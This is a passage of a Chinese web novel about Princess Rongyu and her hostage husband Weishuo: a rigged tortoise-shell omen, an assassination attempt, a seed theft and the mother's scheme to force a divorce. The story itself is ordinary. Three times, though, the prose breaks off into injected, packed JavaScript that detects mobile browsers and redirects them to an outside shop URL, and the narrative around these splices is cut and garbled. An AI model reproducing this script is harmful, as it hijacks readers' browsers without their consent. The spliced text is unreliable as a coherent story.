“果然是她,她长得就是一副祸国殃民之相,又做下那等天怒人怨之事,连累我大晟万民同承天怒。”众人义愤的声讨声再次响起。 就连张贵妃也后退了两步,好像要与容与划清界限一般。 指责声、唾骂声、嘲讽声如潮水般涌来,容与就像茫茫海浪中的一叶孤舟,看似拥有整片大海,实际却一无所有。 她突兀地站在众人指点的中心,自嘲勾唇,这种情形这些年来还少吗,她早就习惯了。 就在这时,她身侧的男子却突然上前一步:“陛下,臣有话要说!” 容与一怔,这男人难不成要帮她说话? 可他不是一向讨厌自己吗? 可还未等心中生出一丝希冀,一盆冷水再次兜头而下:“明懿公主忧国忧民,臣在察泰便久仰大名,而清阳公主的行径臣也曾听说过,深以为不齿。” 众目睽睽下,他朗声道:“臣以为,清阳公主确实当罚!” 11. 别院 容与并未察觉到,自己整个身子都在不禁颤抖。 而身边的人也恍若不觉,他上前几步弯下腰,漫不经心地捡起地上的龟甲。 随着他宽厚的大手有意无意地掂着那只龟甲,一旁的褚炆宗和明懿浑身不自然地绷紧。 接着便传来尉朔的惊呼:“咦,这龟甲里怎么好像有东西?” 他正要撬开细看,褚炆宗却上前拦住:“妹婿并非我们大晟之人,大概有所不知,这龟甲乃是我朝极为尊贵的礼器,传了百年之久,万不可损坏。” 尉朔闻言,一边重重颔首,一副深以为然的模样,一边伸手将龟甲递还给他。 褚炆宗心里一喜,连忙伸手去接,可还剩咫尺之遥时,尉朔执着龟甲的手却突然猛地一挥。 下一刻,只见一颗石块般的东西从龟甲中甩出,这东西形若小石,可颜色却比石块黢黑不少,众人一时难以分辨。 还是一位大臣眼尖:“这东西像是磁石呀!” 当朝磁石价格昂贵,并不常见,在场众人大多久居深宫,更是用不到此物,是以并不认得。 明懿公主沉了脸色:“这分明是个普通石块罢了,有什么稀奇。” 容与顶着众人异样的目光,小跑两步将那东西捡起来。磁石以吸引铁器著称,想要分辨它究竟是不是磁石,用铁器试上一试不就知晓了。 她碰了碰尉朔的胳膊,眼神瞟向他脚上的靴子。 尉朔会意,弯腰从靴筒里抽出短匕,在众人紧张的注视下,这小石块紧紧地贴在铁制的刀鞘上。 容与冷笑:“磁石吸铁,间隔潜应,这样看来这龟甲的转动放心倒是轻易便可操控。” 尉朔附和道:“皇上,太子殿下方才说过,这龟甲十分贵重,少有人能接触到,不如就从此处入手查出究竟是何人陷害。” 此话一出,周围众人的呼吸声都弱了几分。 一片寂静中,皇上却覆手而立,沉着脸色一言不发。 “够了,今日乃是祈求太平丰顺的春耕礼,不是你们胡闹的时候。”一直未发一言的张贵妃突然开口。 呵斥之后,她又转向身着龙袍之人:“皇上,都怪清阳和驸马不懂事,依臣妾看,此事就此作罢吧。” “就依贵妃所言。” 看皇上脸色稍霁,贵妃心下一喜。 此次负责祭祀之人乃太子褚炆宗,那么究竟是谁动的手脚,皇上心中恐怕早就如明镜一般。 可他一言不发,分明就是不想继续追究下去,清阳若还是不识趣非要讨个说法,只会让皇上迁怒,连累自己与荣王都落上个不懂事的错处。 是非曲直又有什么重要,只有笼络住圣心才是最要紧的。 * 春耕礼也算是有惊无险地过去了,坐在回府的马车上,容与后怕地拍了拍胸口。 看到落后一步上车的尉朔,她有些别扭地扬起下巴:“喂,方才多谢你相信于我。” 无论他为人如何,方才被所有人攻讦时,他都是唯一一个伸出援手之人。 尉朔却冷哼一声:“想多了,我倒不是相信你的人品,而是他们的把戏太过拙劣,我看不惯他们将所有人当傻子哄罢了。” 虽然嘴上如此说着,可高高在上的清阳公主竟然会向他这么一个卑微的小质子道谢?尉朔心里确实有些受用。 不过今日这暗害,倒也让他大开眼界了,怪不得来京之前阿爹千叮咛万嘱咐,晟人阴险狡诈,切莫轻易相信。 这样想着,他脱口而出:“你平日里究竟多讨人嫌呀,这种时候都有人想害你。” 容与上扬的唇角立刻向下拐去:“你这人说话怎么这么讨厌?” “彼此彼此。” 他这副冷脸让容与愈发不快:“你倒是笑一笑,整日冷着张脸好像谁欠你银子一样。” 尉朔冷眼瞥了她一眼,别有所指地冷哼道:“我可不像公主,日子都过成这样了,天天还笑得出来。” 容与一愣,这人是在嘲讽她没心没肺? 她心中愈发来气:“你如今是本宫的驸马,就要听命宫的命令,本宫命你笑!” “那就请公主高抬贵眼,爱看不看。” 车外的辉山听着里面拌嘴的声音,不禁笑出声,他家主子厉害了,连高抬贵眼这种文绉绉的词儿都拽出来了。 转眼看到丰禾想将他生吞活剥的眼神,辉山梗着脖子道:“遇见你家公主之前,我家主子嘴可没有这么毒。” 丰禾冷笑:“遇见你家主子之前,我家公主气性也没这么大。” 就在这样一来一回的讥讽间,马车缓缓停下。 “公主,到了!”车夫隔着帘子禀告。 尉朔率先撩起车帘,看到车外景象却兀自怔住。 马车所停之处看起来像是一座农庄,和华丽的公主府半点相似之处都没有。 他狐疑地回头看向容与:“咱们可曾走错路?” “不曾,就是这里。” 言语间,尉朔笔尖突然划过一股好闻的甜香,他不禁深吸一口气,可那股香气已经溜走了。 他低头一看,才发现是那女子擦过他身侧,就着他撩起的车帘灵巧地钻了出去。 罢了,她还不忘回头向车里茫然的男子招招手:“这就是本宫那座‘臭名昭著’的别院,驸马可想一同进去瞧瞧?” 方才从山上下来心情甚好,想着正值春耕之际,便命丰禾直接顺道来了这里。 这些时日忙着婚事,被贵妃看管得甚严,她都好久没能亲自前来看看别院里的那些小苗们了,只能传信给别院中的小厮丫鬟们,教他们如何精心照料,可毕竟是自己的心血,不亲自看到还是难以放心。 尉朔闻言皱眉,原来就是这里,他心底涌起一股厌恶。 “不去!” 庄稼作物在这位不知人间疾苦的公主眼里只是消遣的玩物,可在农人百姓眼中却是生存之本。 这种戏弄农人心血的地方他不屑于踏足。 “好,你可别后悔。” 说完,容与便扶着丰禾的手施施然走了进去。 辉山左看看,右看看,最后脖子一缩不再看他家主子,跟着容与的方向小跑过去。 可“砰”一声,大门在容与身后骤然关闭,被无情关在门外的辉山只能悻悻转身回到马车旁,失落地蹲在地上画圈圈。 尉朔白了他一眼:“你这么想进去看?” “当然想了,这里面许多菜苗都价值不菲呢,寻常人连见都没见过。” 见尉朔不信,他连忙解释:“是丰禾姐姐亲口说的,你看这别院大门如此简朴,与寻常农庄无异,因为门头上的装饰都被公主悄悄变卖,换银子去买种子了。” 当初今上同时赏下三处别院,每一处都是精心装饰的,而眼前这座平平无奇的样子确实很难让人与御赐别院联系起来。 辉山滔滔不绝:“更绝的是,这座庄子冬天能种出夏天才有的豆角,还能在京城这种地方种出南方才有的柑橘,你说奇不奇?” “你都多大了,还信这种鬼话。”尉朔满是嘲讽。 冬天种豆角,北方长柑橘?三岁小儿听了都要发笑。 听他这样说,辉山不乐意了:“我下个月就满十六了,不小了………反正我信!”他梗着脖子,一副死猪不怕开水烫的样子。 被他这么一说,尉朔也有些隐隐后悔,方才为何不跟进去瞧瞧呢,就算那女子只会说大话,逛一圈也不妨碍什么。 看尉朔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956488|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度松动,辉山忙凑上去:“主子,不如你去敲个门,服个软,看在你今天帮了公主的份上,说不定她就将咱们放进去了。” 让他堂堂男子汉大丈夫,给一个娇气的小女子服软?绝无可能! 他冷哼道:“无论这别院里有多少宝贝,都是个虐打流民、欺压百姓的地方,不去也罢。” 看自家主子斩钉截铁的模样,辉山叹了口气:“主子,今日我倒是发现了,你这驸马当得有一个好处。” “什么?”尉朔不解。 “你话变多了,成亲半个月来说的话比以前半年的还要多。” “这算什么好处?”尉朔撇嘴。 “从前国主就常说,你哪哪都好,就是这性子太冷太沉闷了些,还时常担心你话太少,会养成嘴笨的毛病。” 接着,他怨念地看向尉朔:“如今看来国主实在是多虑了,你这嘴,比清阳公主的心肠还要毒呢。” * 与二人一门之隔的别院中,到处皆是绿意盎然,生机勃勃之景。 容与蹲下身细细查看刚播下不久的种子,有些长得快的已经钻出泥土,露出细嫩的小苗。 周围除了风吹叶子的声音,再无任何纷扰,也只有在这里容与才能享受片刻安宁。 丰禾挎着一只小竹篮,一蹦一跳地沿着田垄跑过来,只见满满一篮的芹菜、黄瓜,无一不是青翠欲滴,惹人垂涎。 “公主,您研究出的阳畦可真是太妙了,刚过去的冬天那么冷,这种在阳畦里的菜蔬不仅没被冻死,反而长得如此喜人。” 自从容与想出阳畦的法子,即使京师隆冬,她们也可随时吃上新鲜的瓜果,再也不必受节气所限。 容与勾唇:“阳畦确实可以避免时令之限,可瓜果蔬菜只是锦上添花,终究不能果腹,这些年来北地诸府饥荒频发,多是因为大旱,若是能种出抗旱的粮食就好了。” “公主自小便潜心此道,不仅造出阳畦,还在京城种出了只有南方才有的蔬果,奴婢相信公主也定能种出抗旱的粮食。”只要是她家公主想做的,没有做不到的。 就这样,二人一直在地里待到天色都暗了,直到晚霞撒满田垄时,容与才突然一拍脑袋。 坏了,尉朔还被她晾在外面呢! 纵使不舍,她还是提裙小跑出去,回到马车上时天色已经彻底暗下去,隔很远都能听到辉山腹中咕噜噜的叫声。 看到丰禾手里的篮子,他惊喜地扑上来:“这是芹菜?还有黄瓜!” 丰禾拨开他乱翻的手:“看你这没见过世面的样子,连普普通通的芹菜黄瓜都没见过不成。” 辉山也不害羞:“芹菜确实没怎么见过,只听说过味道极为鲜美,可惜我们察泰不种这个,不过这些东西都不是这个季节能长成的吧。” 丰禾洋洋得意:“早就说过了,在我们公主的别院里,这些都不是问题。” 尉朔虽一言不发,但他盯着篮子目光灼灼的样子全被容与收入眼底,她又想起这人潜入宫后苑,偷吃兰草的样子。 容与不仅扑哧一笑:“驸马想尝尝吗?” 此言正中尉朔下怀,他故作矜持:“既然公主盛情邀请,在下也不便拂了公主美意。” 正说话间,尉朔原本懒懒靠在车厢上的身子却陡然坐直起来。 他竖起食指放在唇边,示意容与不要出声。 下一瞬,只听“嗖”的破空声,容与浑身僵在原地,她想躲闪,可手脚已不听使唤,只能本能地闭上双眼。 可预想中的疼痛并没有来临,取而代之的是一股浓郁的气息,像是冷毅的雪松味,又像是烈日烘烤的甘草气。 而她此刻正被尉朔牢牢护在怀中。 “有刺客!” 12. 遇刺 容与本能地瑟缩在男人怀中,她耳边的声音如往常一般冷,但此时落入耳中却更多了几分沉静,无端让人生出信赖之感。 “在马车里别动,我出去看看。” 周身的暖意骤然撤离,容与连忙机警地缩进角落,即使怕得浑身发抖,也不忘抄起马车角落里的一把小花铲紧紧抱在胸前,聊以自保。 而车外的刺客们看到下来的是一个高大健硕的男人时,也不免一愣。 趁着这个间隙,尉朔将随身短匕利落插入一个歹徒的大腿,伴着凄厉的惨叫,他转头幽幽看向领头之人。 那人浑身一颤,还未等尉朔飞身踹过去,就腿一软跪倒在地。 尉朔并未放松,只利落抽出匕首,将带血的刀刃紧紧贴在那人颈侧。 “说,为何要行刺清阳公主?” 那人眼神飘忽一瞬,感觉到脖颈的刺痛,他连声坦白:“我……我只是想让恶人偿命。” “胡言乱语!”尉朔手上用力,那人脖颈上瞬间多了一道深深的血痕 那人连忙解释:“我说的都是真的!你难道没听说过清阳公主虐杀流民之事吗,被打死的那人就是我的亲弟。” 察觉到脖颈上的威胁略微送动,他趁机大喊:“三年前我弟弟惨死在这里,可害他之人却还安安稳稳地享受着百姓供养,这让我如何咽的下这口气?” 周围陆续围来不少路人,听到此言都义愤填膺:“就是,我们老百姓的命在他们这些贵人眼里就不是命吗?” 混乱间,容与轻轻撩起车帘的一角,露出一双隐在暗处的眼睛,如局外人一般静静观看着这一切。 尉朔转向她的方向,缓缓问道:“他说的可是真的?” 男人眼里是容与最为熟悉的神色,这种神色叫作“怀疑”,她从小到大已经见过不知多少遍,熟悉到能够轻易辨别出。 容与垂眸:“你不信我?” 尉朔并未回答,而是继续反问:“我可以相信你吗?” 他望着女子泛红的眼眶,和那双微微颤抖却依然倔强的羽睫,忽然生出一种想要抛下一切理智的冲动。 只要她说一句“可以”,他便信。 可那双朱唇轻启,吐出的话令他的心彻底沉到冷下来。 “你觉得此人所说为真,那便是吧。” 容与明白,若尉朔真的信她,那便根本不会发出此问。他问出口的一刻其实已经有了答案——他不信她。 也是,连血脉至亲都不曾信过她,她怎么反倒期盼起一个认识不久之人的信任了。 容与放下车帘,端坐马车中冷冷吩咐道:“将人扭送大理寺吧。” * 一直到马车缓缓驶进公主府,车上的二人都未再说过一句话。 直到尉朔走远,丰禾才焦急开口:“公主您忘了,如今的大理寺卿可是明懿公主夫家的人,有杨驸马给明懿公主撑腰,这事肯定就不了了之了。” 容与无力地靠在坐榻上,颓然闭上双眸:“那又能如何呢,我又能找谁撑腰呢。” “那咱们自己将那人打一顿,狠狠讯问一通,看他下次还敢不敢找事。” 一旁的嘉穗忙撞了她一下:“你忘了三年前那件事了,今日若是真动手打了这人,保不准明日便能听到他的死讯,接着便是铺天盖地的谣言,说公主不仅打死流民,还要将他全家赶尽杀绝。” 听到二人的争论,容与只觉心烦,她抬手示意:“好了,不说这事了,从别院带来的瓜果菜蔬呢,赶快送去膳房做了,可不能浪费了。” 这可是她亲自种出来的,唯有好好享用一番才不辜负这些年的心血,至于那些不值得的人和不值得的事,自然不值当扰乱她的心情。 不一会儿,两盘绿油油的蔬菜就被端上来桌,鲜嫩欲滴的色泽让人看了不禁食指大动。 容与刚要动筷,忽然想起什么,转身问道:“丰禾,带回来的菜都在这了吗?” “都在这了。” 容与放下刚拿起的筷子,指了指桌上本就不多的两盘佳肴:“拨些出来送去柴房。” “公主,你这本就不多了,为什么要送给驸马?” 丰禾不乐意了,她可还记得驸马今日的反应,分明就是听信了那刺客的污蔑之言,凭什么还能吃上她们家公主辛苦种出的菜。 容与淡淡道:“今日在马车上答应的,不好食言。” 无论如何,尉朔先是帮她戳穿了龟甲阴谋,后又从刺客手下救她一命,更遑论之前在宫中险些被张承裕轻薄也是尉朔出手相救,于情于理她都应当感恩。 至于尉朔与旁人一样怀疑自己,他与自己非亲非故,自己又有何立场苛求呢? * “主子,这是公主遣人送来的。”辉山捧着一盘新鲜的蔬菜回到柴房时,口水都要留下来了。 他们从察泰而来,之前又借居在捧高踩低的会同馆,整个冬天都未吃过如此新鲜的蔬菜了。 尉朔神色不明,他以为容与厌透了他,没想到竟还记得马车上那句随口的约定。 倒是个心大的性子,想来是没将方才的事情放在心上了,可不知为何,他竟会不禁想到,人究竟遭受过多少失望,才能彻底看淡,不再往心上放。 这样想着,他心中隐隐有些后悔质问出那句话。 就这样,直到夜里躺在冷硬的柴堆上,尉朔仍不禁回味着晚膳吃到的新鲜菜蔬。 那鲜嫩可口的味道确实是新鲜摘下的,可如今才到初春时节,隆冬刚过,这些的菜蔬又是怎么长出来的? 除非丰禾说的都是真的,那别院真的有些不同寻常之处。 若是能将这些耕种本事都带回察泰,那族人们就再也不用饱受饥饿之苦了。 旁边的辉山垂头丧气:“我偷偷去问了丰禾姐姐,她说进入别院必须得到公主亲口应允,要不你还是去求求公主吧,毕竟你也算是公主的夫君……” 尉朔突然打断他:“我记下了别院的位置。” “主子你要……” 尉朔直接起身:“趁着现在夜深,咱们翻墙进去。” * 别院的墙不算高,里面看守的仆从亦不多,以尉朔二人身手,并未费多少力气便成功翻了进去。 此时天色太沉,为防被人发现也不宜点灯,纵使尉朔目力极佳,也微眯双眼适应了好一会儿。 当看清别院中的景象时,他不仅瞠目。 虽然察泰不善农耕,可这些年来为了解决察泰饥荒,他也游历了不少地方,翻阅了许多书籍,可眼前的景象他是无论如何都未曾见过的。 这座别院里的大片地方全被夷平,用作耕地、菜园,没有一寸浪费。 一垄垄、一畦畦皆被整齐划分成一小块一小块的,每一块上种植的作物皆有不同,无一重复,只不过其中只有极少数是尉朔见过的,而大多数的他则是闻所未闻。 “这一块块的分得也太小了吧,样式虽多,可每一块也长不出几株,根本不够几个人吃的。”辉山撇嘴。 接着又摇头叹息:“哎,这清阳公主估计也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这几年来,容与研制了一批又一批旱稻种子,可一次次均以失败告终,而这一次的是凝结了之前的失败经验研制出的,是她无数日夜的心血。 “什么?你慢慢讲来究竟是怎么回事。”容与手脚发凉。 丰禾缓了口气,将别院守卫昨夜发现有人偷偷闯入,但未追上就让人跑了的事情急急说出。 而就在众人都一筹莫展之时,只听“啪嗒”一声,抬头看去,是一向稳妥的嘉穗手滑打碎了一只瓷瓶。 容与眼波微动:“嘉穗,你是不是有事瞒着我?” 她们自小一起长大,互相最了解不过。按照嘉穗的性子,不该如此毛手毛脚才是,除非她心里藏了事。 听到此问,嘉穗浑身一颤。 她咬住下唇,双手好像放在哪里都不自在。 支吾良久,她还是决定将自己看到的都告诉容与。 “奴婢……奴婢昨夜起夜,看到驸马趁夜溜出府去了。” 尉朔?容与蹙眉:“你可知他去了哪里?” 嘉穗摇头:“奴婢不知,但他回来时,身上还沾有泥污。” 容与脸色微沉,看不出所想,半柱香后她冷冷吩咐:“将驸马叫过来!” 随即又摇摇头,猛然站起身:“算了,本宫亲自去找他。” 13. 道歉 还未踏入柴院,就听到里面丁零当啷的声响。 容与一惊,他不会是在将那些种子毁尸灭迹吧。 这样想着,她提起裙摆加快脚步,也不知从哪爆发出一股力气,直接踹开本就未锁的院门闯了进去。 可看清院子景象的一刹那,容与就后悔了。 她一双眼睛不知该向哪看,只能低着头死死盯着地面,目不斜视,小脸也霎时红透,紧接着又一青,险些忘记自己是来兴师问罪的。 只因那个男子正在院子里习武,关键是他练武也就罢了,竟然还完全赤着上半身! 看到骤然闯入的不速之客,尉朔也不局促,而是坦坦荡荡走到她面前,晶莹的汗珠随着身体的摆动大颗大颗坠落在地。 “公主怎么想起来光临我这小小的柴房了?” 容与竭力控制着自己的双眼,可这男人靠得太近,她还是不免看到些不该看的。 这男子腰腹上的皮肉与她截然不同,是一块块的,如田地里纵横交错的田垄,那毫无遮掩的皮肤像阳光沐浴下的麦子,泛着连太阳都偏爱的光泽。 容与闭住气息,想要避免隔绝扑面而来的汗水气味,将一张俏脸都憋得通红,男人身上的热气氤氲着,让她周身不由发热。 看到她额头上沁出的汗珠和通红的脸蛋,尉朔以为她是累了,可环顾一圈才发现这柴院里根本就没有椅子。 无法,他只能提来一块草垛。草垛很大,在他手里却轻飘如纸。 “公主将就着坐吧。”尉朔的声音里带些刚练完武的喑哑。 看到她有些犹豫,尉朔这才想起来她最是娇气了,便一把抓过练武时脱下的衣裳,仔细铺在草垛上。 容与这才勉强坐下,与他拉开一些距离后,理智慢慢回笼,她才猛然想起来此的目的。 她冷下脸清了清嗓子:“你就没什么想要交代的吗?” 交代?这话说的,好像他犯下什么弥天大错,正在接受审讯一样。 尉朔心里不快,索性撇撇嘴并不理她。 见尉朔不语,容与索性开门见山:“你昨夜去哪了?” “别院。”尉朔满脸坦然。 容与心下冷笑,他倒还好意思承认:“去做什么?” 尉朔:“随便看看。” 容与几乎要被气笑了:“白日里请你进去你不进,夜里反倒偷偷摸摸翻墙进去,说是随便看看,你当本宫这么好骗!” 尉朔岔开腿,大剌剌坐在她旁边的草垛上:“我说的都是真的,你要是不信我也没法子。” “你……”容与气极,却拿他没有任何办法。 她一双漂亮的桃花眼死死瞪了男人半晌,最终还是气鼓鼓站起身要走。 可还没迈开步子,就被那可恶的男人叫住了:“等等,我还有话想和你说。” 看容与虽未回头,但已停下了脚步,尉朔沉声道:“之前对不住了,就算你今日不来,我也本打算去找你,向你道歉。” 长这么大,这还是容与第一次听到有人向她道歉,对,不是请罪、不是指责、不是将错就错,而是道歉。 容与本以为他又要出言嘲讽,却不想猝不及防听到他的道歉,虽不曾回头看到他的神情,可从这声音里已经足以听出他的诚恳。 她心中涌出一股陌生的酸楚,连方才的怒气都消散了几分。 压下复杂的情绪,她问道:“因何道歉?” “除未经主人许可,擅闯别院外,这些时日我还做下三件错事:一错在听信谣言,人云亦云;二错在有误会时未直接问你,而是舍近求远,轻信他人;三错在枉生疑心,不能坦诚相待,信任于你。” 听他如此坦诚地承认擅闯别院之事,也许种子并非他所偷。 至于其他三件事,容与不免诧异,因为连她自己甚至都未曾意识到这三件微不足道的小事竟称得上是“错事”。 也许从未听到过如此真诚的道歉,容与一时不知该如何回应,只得故作高傲地转过身,昂首斜睨他一眼:“只是道歉?” “额,公主的意思是?” 尉朔一时拿不准她这是原谅自己,还是不原谅,心里七上八下跳个飞快。 看他这副呆头呆脑的样子,容与还是没忍住,“扑哧”笑了出来,勉强止住笑意,才又撅起嘴斜眼看他:“就没有赔礼?” 笑容灿烂,更甚天上暖阳,尉朔被这笑容晃了眼,片刻后才回过神来。 他当即一拍脑袋,“哦哦,有。” 这下换成容与呆住了,她本只是想逗弄一下,没想到这糙男人还真能想起准备赔礼。 “公主请瞧。” 顺着他手指的方向,只见柴房角落放着什么物件,用一块破布严严实实蒙住。 容与不禁腹诽,还真是高看他了,竟用这样一块破布将礼物蒙住,不过看在他用心备了礼的份上,就不与他计较了。 虽然心底明知眼前这个糙蛮汉子想不出什么讨女子欢喜的礼物,可这还是头一次有人为她特意备礼,容与心中还是有一丝隐隐的期待。 破布掀开的一瞬间,只听“啊!”一声尖叫。 容与吓得花容失色,半天没有回过神来。若不是被尉朔及时扶住,恐怕已经吓得摔倒在地了。 眼前的分明是一个大活人!也不一定,毕竟这人浑身是血,只怕已经出气多进气少了。 她捂着双眼瑟缩在尉朔身后:“他是谁?” 尉朔从怀里掏出一个口袋递过来,容与打开一看,里面装着的赫然就是被人偷去的种子。 她立刻便明白了:“这就是那个窃贼?” “正是,我昨夜在别院里碰到他作恶,便将人捉了回来,只可惜另一个人跑了。” 说着,他恶狠狠踹了那人一脚:“将你告诉我的还再给公主说一遍!” 那人显然已经被眼前这尊瘟神打怕了,还未等逼问,就主动将一切都交代出来。 “是……是我偷的,但这并非我自己的意思,都是明懿公主指使的啊!” 偷觑一眼尉朔凶神恶煞的眼神,他立刻又补充道:“还有三年前的事情,清阳公主命人打了我兄弟一鞭不假,可顶多是破了点皮,他的命……也是明懿公主取去的。” 至于为何要这样做,在场众人都不言自明,自然是为了彻底毁了容与的声誉,让她永世不得翻身。 尉朔不禁心底一寒,虽在来京为质之前就已经知晓晟国人城府极深,要小心提防,可真正目睹皇室内斗、朝堂纷争时,他还是不免震撼。 他一直崇敬的明懿公主竟有这样一副不为人知的真面目,而他所鄙夷的清阳公主却也并非十恶不赦。 听过那人的供述后,容与面色并无波动,她早就猜到是何人陷害,只是未想到他们还嫌不够,仍要毁了自己最在意的心血。 她转身看向身边的尉朔,从袖口中取出一块不算精致的小木牌递给他。 “这是?” “今日多谢你了,这是进出别院的令牌,以后你若是想去,自可光明正大地走进去。” 尉朔接过小木牌,郑重地贴身收好,别院对他而言确实很重要,他想向容与道谢,可话到嘴边又羞于开口。 于是他转而指向那刺客:“明懿公主接连陷害于你,如今人证物证皆在,依我看应尽快向皇上告发,好还你清白。” 容与淡淡摇头:“没你想得那么简单。” 尉朔不明白她的意思,难不成她怕了?可她对上自己的时候明明气焰嚣张,怎么碰上明懿公主就立马没了脾气?难道自己又看错她了,其实她只是个媚上欺下之徒? 就在这时,他突然闻到一股浓烈的腥臭味,转头看去时瞳孔倏然放大。 方才还活蹦乱跳的刺客此时竟七窍流血,死于非命! 他忙凑过去查看,片刻后得出结论:“他竟早就服了必死的毒药!” 容与点头:“正是,若是任务顺利,背后指使之人自会给他解药,若半路被抓,那便只有一死,免得留下把柄。” 她早就料到明懿一派不会没有后手,否则又怎会轻轻松松便让她蒙受了三年的不白冤屈。 也许是早有意料,看到眼前的结果,容与也不算多失落,她转而对尉朔道:“无论如何,今日都多谢你了。” 尉朔却比她还不甘心:“可这个刺客不是明懿公主的人吗,她为何要对自己人动手?” “自己人?那又如何。” 容与无奈摇头,在上位者眼里,他们根本不是人。 * 柔仪宫。 自一封来自庆祥府的密信抵达后,殿中就只剩一片阴郁。 张贵妃六神无主:“兰娘,这可如何是好呀,卓儿可千万不能出任何意外呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956490|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 兰嬷嬷劝道:“要不请公主回来一起想想主意。” 贵妃不屑:“就凭她能想出什么主意,不坏了卓儿的事就已经谢天谢地了。” 忽然,她好像想到什么,眼中一亮:“等等,本宫有法子能救卓儿了,快将清阳叫来!” 容与还未踏进殿门,张贵妃就已经迎了出来:“驸马对你可好?” 容与受宠若惊,只简单答道:“很好。” “你就不必瞒着母妃了,你们根本没圆房是不是?本宫可都听说了,你将驸马赶去柴房独住,根本没住在一处。” 容与不想多说,只是淡淡笑道:“只是和驸马玩闹罢了,又是哪个不长眼的在母妃面前乱嚼舌根。” 贵妃却恍若未闻,自顾自的继续道:“母妃知晓你厌恶驸马,自从你们成亲之后,一想到你过得不自在,母妃也总是睡不踏实,苦思冥想要如何才能助你脱离苦海。” 她说着,眼眶微微发红,好像真的是日夜为女儿忧心的慈母一般。 容与一时有些动容,她刚想出声安慰,却听张贵妃接着道:“想了这么久,母妃终于想出个法子能帮你和驸马和离。” 容与一怔,她何时说过要与尉朔和离了,母妃竟未问过她的意思就要替她做主了? 压下心中的不悦,她不动声色地问道:“哦,什么法子?” 见她饶有兴趣,张贵妃眉开眼笑:“你可知北乌的质子,母妃听闻他一向倾慕于你,左右你和尉家那位也未圆房,这段婚事不做数的,不如本宫替你求了你父皇,成全了你与北乌质子。” 容与暗觉好笑,她这话说的好像自己真的与那北乌质子有什么首尾一般,可事实上自己连那质子叫什么都不知道,更别提私情了。 她无意再演,直接起身:“儿臣无意和离,更无意于什么北乌人,母妃若无他事儿臣就先告退了,驸马还在府中等着儿臣呢。” “等等!” “清阳,本宫也不与你绕弯子了,你兄长那般出了些小岔子,如今庆祥府的情况不算太好,那地方与北乌极近,恐怕北乌人会趁虚而入。” 容与算是明白了贵妃的意图,她不禁冷笑:“母妃觉得靠一个公主就能消了北乌人入侵的野心,那母妃未免也太天真了些。” “不试一试怎能知晓,此事由不得你自己做主,左右你与那察泰质子只是表面夫妻,一切都来得及。” 原来,她的命运只是为了博一次微乎其微的可能。 张贵妃并未察觉到女儿面色不对,继续自顾自道:“北乌与察泰孰强孰弱,皇上还是分得清的,反正你与尉朔也对彼此无意,不如一拍两散,各自安好。” 容与终于忍无可忍:“母妃,儿臣也是你十月怀胎所生,为了兄长,你就要彻底牺牲了儿臣吗?” 贵妃显然没想到她竟会反抗,随之脸色一沉,话里只剩冰冷:“褚容与,你记好了,你的命都是本宫给的,听从本宫安排乃是天经地义!” “好,那儿臣也告诉您,儿臣不愿!” 这座她自小长大的宫殿此时却冰冷的如同一座牢笼,压得她几乎窒息。 再也不想多呆一刻,于是她不再顾及母妃的愤怒,直接转身离开。 直到出了宫,坐上返回公主府的马车,容与才稍微好受一些。 陪在她身边的嘉穗却难以放松紧锁的眉头,她犹豫了一会儿,还是说出心中忧虑。 “公主,贵妃娘娘一定不会轻易放弃的,那北乌人心狠手辣,毫无人性,若娘娘的谋划真的成了……” 容与摇头:“别怕,我已经嫁给尉朔,若是公然夺人之妻,何异于将察泰的脸面踩在地上碾,父皇既然与察泰联姻,那必然是察泰对大晟还有用处,他不会公然得罪察泰的。” “可是,若是驸马也同意了呢?” 容与被问得无言以对。 是呀,以上的一切都建立于尉朔会与她站在一边为前提,可她与尉朔只是名义上的夫妻,尉朔凭什么要帮她? 这一刻,容与从心底头一次开始恐惧了。 “奴婢觉得,驸马就算是察泰人,也是个顶天立地的男子汉大丈夫,男人最怕什么,不就是怕头上发绿吗,只要您将这夫妻二字坐实了,不怕他不护着您。” 容与沉吟半晌,终于下定决心。 “今夜,宣驸马前来侍寝!” 14. 侍寝 “侍寝?”尉朔猝不及防,嘴里的水一口就这么喷了出来。 他用衣袖胡乱擦了擦,狐疑道:“这是公主的吩咐?” “正是,驸马赶紧收拾收拾过去吧,莫让公主久等了。” 尉朔皱眉,这又是来哪一出?他以为经过昨日的坦诚相谈后,两人已经默认和平相处了,可这她进了趟宫,又和张贵妃串通了什么鬼主意? 上次被浇沸水的屈辱感依然如鲠在喉,尉朔冷笑着坐回栖身多日的草垛,冷言道:“不去。” 嘉穗心里着急,连忙赔笑:“驸马,自从您搬出来,公主夜里就总是睡不好,总是看着柴房的方向发呆,她虽嘴上不说,但奴婢明白是在念着您呢?” 想着那女子总是高高扬起的下巴,尉朔竟突然觉得嘉穗说的也有理,她那副高傲的性子,即使心里想也不会轻易开口。 